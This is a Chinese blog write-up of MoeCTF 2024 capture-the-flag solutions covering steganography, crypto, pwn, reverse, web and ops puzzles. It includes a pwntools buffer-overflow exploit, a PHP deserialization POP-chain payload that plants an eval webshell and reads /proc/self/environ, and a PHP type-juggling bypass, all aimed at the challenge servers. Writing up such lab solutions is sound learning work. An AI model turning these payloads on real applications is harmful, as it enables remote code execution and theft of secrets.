CTF | 2024 MoeCTF Writeup (WIP)


netcat

Misc

ez_F5

搜索得到一种隐写方法叫 matthewgao/F5-steganography

Key 藏在属性中,Base64 解码后得到密码为 no_password。用工具解码即可得到 Flag。


捂住一只耳

听音频得到数字。每组数最后一个数字代表键盘上字母区第 x 行(从上往下),前面的数字代表第 x 列。如 101 代表第 10 列第 1 行,即 P 。

题目提示 Flag 要用 CAPS 即大写提交。


readme

考察 /proc


moejail_lv1


The upside and down

注意到这个文件尾的 HEX,有没有一丝熟悉?没错,他就是 PNG 文件头(89 50 4E 47)颠倒后的 HEX。题目名也给了我们一点暗示:upside and down。

用 CyberChef 即可完成解密操作。下载解密后的数据得到一个二维码,扫描后 Flag 就包含于其中。


ctfer2077①

LSB 隐写,用 zsteg 直接扫。


每人至少300份

首先是拼二维码,对齐定位点后凭感觉拼。解码后得到如下内容:

balabalballablblablbalablbalballbase58lblblblblllblblblblbalblbdjshjshduieyrfdrpieuufghdjhgfjhdsgfsjhdgfhjdsghjgfdshjgfhjdgfhgdh///key{3FgQG9ZFteHzw7W42}??

解不完的压缩包

首先写个脚本解压这一坨,

for i in {999..1}
do
    unzip "$i.zip"
done

然后得到一个加密的压缩包,发现里面有 Flag 和四个 pwd 文件。pwd 文件都是 2 字节的,因此我们可以尝试 CRC32 碰撞。这里有一个现成工具。运行后即可得到密码。


我的图层在你之上

用记事本打开 PDF 文件后发现文件最后有一个 URL 。

看来是用在线 PS 工具生成的 PDF,用稿定在线 PS 打开 black.pdf,点击文件-导出图层。

发现 3.svg 这个图片比较大,推测可能里面藏了点东西。

用 PS 打开,点击编辑-自动对比度,得到解压密码。

根据提示,文件内容为凯撒加密过后,在 CyberChef 中使用 ROT13 解密即可得到 Flag。


时光穿梭机

根据题目描述搜索,所提的画报应为《伦敦新闻画报》。

找到 20th Apr, 1946 那期,古墓应为王建墓(永陵),在四川省成都市金牛区永陵路。

找到博物馆大门,打开街景,得到中医院名称汉方堂。

Crypto

baby_equation

审计代码得到 $a$ 和 $b$ 满足表达式 $((a^2 + 1)(b^2 + 1) – 2(a – b)(ab – 1)) = 4(k + ab)$ 。

和我一样数学不好怎么办?那就用 WolframAlpha 啊!

然后我们移项开方得到 $2\sqrt{k}=(a+1)(b-1)$ 。现在我们目标就很明显了,我们对 $2\sqrt{k}$ 分解质因数,然后写个循环取质因数组合暴力破解。

import itertools
from Crypto.Util.number import *
primes = [2, 2, 2, 2, 3, 3,31,61,223,4013,281317,4151351,339386329,370523737,5404604441993,26798471753993,25866088332911027256931479223, 64889106213996537255229963986303510188999911]
for i in range(1, len(primes) + 1):
    result = itertools.combinations(primes, i)
    result = set(result)
    for k in result:
        t = 1
        for j in k:
            t *= j
        
        try:
            s = long_to_bytes(t - 1).decode()
            print(s)
        except:
            pass

可以得到 Flag 前半部分和最后一位不对的后半部分。后半部分最后一位不对的原因在于后半部分应该用 t + 1

Pwn

flag_helper

不要买 Hint 挑战。逐个解释说明:

openflags 定义可以在 这里 查到。0 即代表 O_RDONLY

mmapprotflags 定义可以在 这里 查到。这里 3 代表 PROT_READ | PROT_WRITE。33 代表 MAP_SHARED | MAP_ANONYMOUS

你问我 fd 为什么是 5 而不是 3我也不知道


NotEnoughTime

写个 Python 脚本回答即可。最快的方式是用 eval 计算。


no_more_gets

基础 x64 ret2text ROP,直接上 Exploit。

from pwn import *
sh = connect('192.168.0.103', 2994)
success_addr = 0x401193 + 1
payload = cyclic(88) + p64(success_addr)
sh.sendline(payload)
sh.interactive()

Moeplane

提示很重要,注入点在 engine_thrust 上面。我们可以输入一个负数来访问这个变量之前的内存达到修改其它参数的效果。

注意不要飞过头了,修改 flight 到合适的位置后再调整 velocity 即可。

Reverse

Secret Module

代码审计后可知要找到用 1145141919810 两串数字按不同顺序排列组合 7 次后的文本的 MD5 等同 77a58d62b2c0870132bfe8e8ea3ad7f1 的排列方式。

用 Python 写个简单爆破即可。

Web

Prove Your Love

发包题,抓包后对后端 API 一直发包到某个数量之后就能拿到 Flag。


弗拉格之地的入口

根据提示爬虫访问 /robots.txt 得到如下内容,访问 /webtutorEntry.php 即可得到 Flag。


pop moe

源码

<?php
class class000 {
    private $payl0ad = 0;
    protected $what;
    public function __destruct()
    {
        $this->check();
    }
    public function check()
    {
        if($this->payl0ad === 0)
        {
            die('FAILED TO ATTACK');
        }
        $a = $this->what;
        $a();
    }
}
class class001 {
    public $payl0ad;
    public $a;
    public function __invoke()
    {
        $this->a->payload = $this->payl0ad;
    }
}
class class002 {
    private $sec;
    public function __set($a, $b)
    {
        $this->$b($this->sec);
    }
    public function dangerous($whaattt)
    {
        $whaattt->evvval($this->sec);
    }
}
class class003 {
    public $mystr;
    public function evvval($str)
    {
        eval($str);
    }
    public function __tostring()
    {
        return $this->mystr;
    }
}
if(isset($_GET['data']))
{
    $a = unserialize($_GET['data']);
}
else {
    highlight_file(__FILE__);
}

审计过程

class003 往上看,首先是 class003::__toString 方法。查阅知这个魔术方法会在当前对象转成 string 的时候被调用,向上找到 L50 $whaattt->evvval($this->sec); 这一行代码,可知我们应该将 class003 的对象当作 class002::sec 传入(这样执行 evvval 时会将 class003 转为 string),并且 $whaattt 应该是 class003 的对象。

继续向上看,class002::__set 方法会在成员被赋值的时候被调用。我们传入了 class003 的对象作为 $sec 的值,这时候 $b 的值就为 $sec。这里用到 PHP 一个特性——可变函数:$变量() 被解释为调用函数名为变量值的函数。所以在该方法中我们会调用 $this::[$b] 方法,但此时我们仍未找到给 class003 成员赋值的代码,继续向上。

来到 class001,这里有个 __invoke 方法,查询得知这个魔术方法可以让对象可执行化(即 $对象())。再看方法内容,发现这是一个赋值操作,这正是我们上面所想要的。即使 class002 中不存在 payload 成员也没有关系,因为这是 PHP 的一个废弃了的特性:动态成员。所以很明显,class001::a 应该传入 class002 的对象。

最后就剩 class000 了,经过分析明显可以看出 $what 应该是 class001 的对象,并且应该修改 $payl0ad 的值,至此我们分析完毕。

<?php
class class000 {
    private $payl0ad = 0;
    protected $what;
    public function __destruct()
    {
        $this->check();
    }
    public function check()
    {
        if($this->payl0ad === 0)
        {
            die('FAILED TO ATTACK');
        }
        $a = $this->what;
        $a();
    }
    
    public function set($a) {
        $this->what = $a;
    }
    
    public function set2($a) {
        $this->payl0ad = $a;
    }
    
}
class class001 {
    public $payl0ad;
    public $a;
    public function __invoke()
    {
        $this->a->payload = $this->payl0ad;
    }
}
class class002 {
    private $sec;
    public function __set($a, $b)
    {
        $this->$b($this->sec); 
    }
    public function dangerous($whaattt)
    {
        $whaattt->evvval($this->sec);
    }
    
    public function set($a) {
        $this->sec = $a;
    }
}
class class003 {
    public $mystr;
    public function evvval($str)
    {
        eval($str);
    }
    public function __tostring()
    {
        return $this->mystr;
    }
}
$a = new class000();
$b = new class001();
$c = new class002();
$d = new class003();
$d->mystr = "eval(\$_GET['shell']);";
$c->set($d);
$a->set2(1);
$b->payl0ad = "dangerous";
$b->a = $c;
$a->set($b);
echo serialize($a);
//最终GET参数 ?data=O%3A8%3A%22class000%22%3A2%3A%7Bs%3A17%3A%22%00class000%00payl0ad%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00what%22%3BO%3A8%3A%22class001%22%3A2%3A%7Bs%3A7%3A%22payl0ad%22%3Bs%3A9%3A%22dangerous%22%3Bs%3A1%3A%22a%22%3BO%3A8%3A%22class002%22%3A1%3A%7Bs%3A13%3A%22%00class002%00sec%22%3BO%3A8%3A%22class003%22%3A1%3A%7Bs%3A5%3A%22mystr%22%3Bs%3A20%3A%22eval%28%24_GET%5B%22dddd%22%5D%29%3B%22%3B%7D%7D%7D%7D&dddd=system("cat /proc/self/environ");

把序列化后的对象丢进 data 参数(注意 \x00)里然后加上 shell 参数后就得到 Payload 了。但是我找半天找不到 Flag 在哪里。

后面经学长指点,Flag 藏在 /proc/self/environ 里(。


静态网页

F12 抓包找到 Flag 入口 final1l1l_challenge.php

审计代码,发现要传入一个 GET 参数 $a 和 POST 参数 $b$a$b 不为数字并且 $a == 0 && md5($a) == $b[$a] 成立。

这是我的 Payload:

GET:
?a=php

POST:
b[php]=e1bfd762321e409cee4ac0b6e841963c

这里解释一下,首先很多人不知道在 URL 参数中是可以传数组进去的,当然传字典也是可以的。然后又因为 PHP 经典弱智弱类型比较,导致 "php" == 0 是成立的。传入这个 Payload 我们就可以拿到 Flag 了~

经典表格

勇闯铜人阵

写个油猴脚本吧,点击重开执行脚本

(function() {
    'use strict';
   var player = document.querySelector("#player");
   player.value = "k";

   var dir = ["", "北方", "东北方", "东方", "东南方", "南方", "西南方", "西方", "西北方"];

   var status = document.querySelector("#status");
   var d = document.querySelector("#direct");
   var btn = document.querySelector("#say");
   if (status.innerHTML.trim() == "已重新开始") {
       d.value = "弟子明白";
       btn.click();
   } else if (status.children.length == 0){
       var ds = status.innerHTML.trim().split(",");
       if (ds.length == 1) {
           d.value = dir[Number(ds[0])];
       } else {
           d.value = ds.map((x) => dir[Number(x)] + "一个").join(",");
       }
       btn.click();
   }

})();

运维

哦不!我的libc!

我用非预期做的,不知道正解是什么

echo "$(</flag.txt)"

更新:有一个想法(未实践)。首先编译 BusyBox with MUSL。然后用 umask 命令设置默认权限(可执行)。最后用 echo 函数将文件上传。用 BusyBox 执行各命令。

再更新:umask 不能设置 x 权限。所以这个方法废了。可行的 WP 可以移步下一题加强版。


哦不!我的nginx!

这题是真出生啊。

首先传一个 BusyBox 的 chmod 覆盖 /usr/bin/chmod,这样可以避免新建文件的权限问题。你问我怎么传?当然是手敲二进制啦!下载 busybox_CHMOD 后用 WinHEX 打开,全选复制(格式选 GREP HEX),然后到 broken 机上输入 printf "%b" '粘贴你复制的一大串' > /usr/bin/chmod 就可以了。

然后再传 busybox_NC 上两台服务器。用 chmod 更改文件权限后使用 nc 从 neighbor 发送 /lib64/ld-linux-x86-64.so.2/lib/x86_64-linux-gnu/libc.so.6 到 broken 中,再用 chmod +x 更改权限,完成 glibc 的修复。

具体发送的命令如下:

# 接收端 
nc -l [port] > [path]
# 发送端 
nc 127.0.0.1 [port] < [path]

然后修改并编译一个 tinyhttpd,上传到 broken 服务器 /var/www 目录。上。具体修改位置:

赋予权限并执行,在输出中可以拿到 Flag。


发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注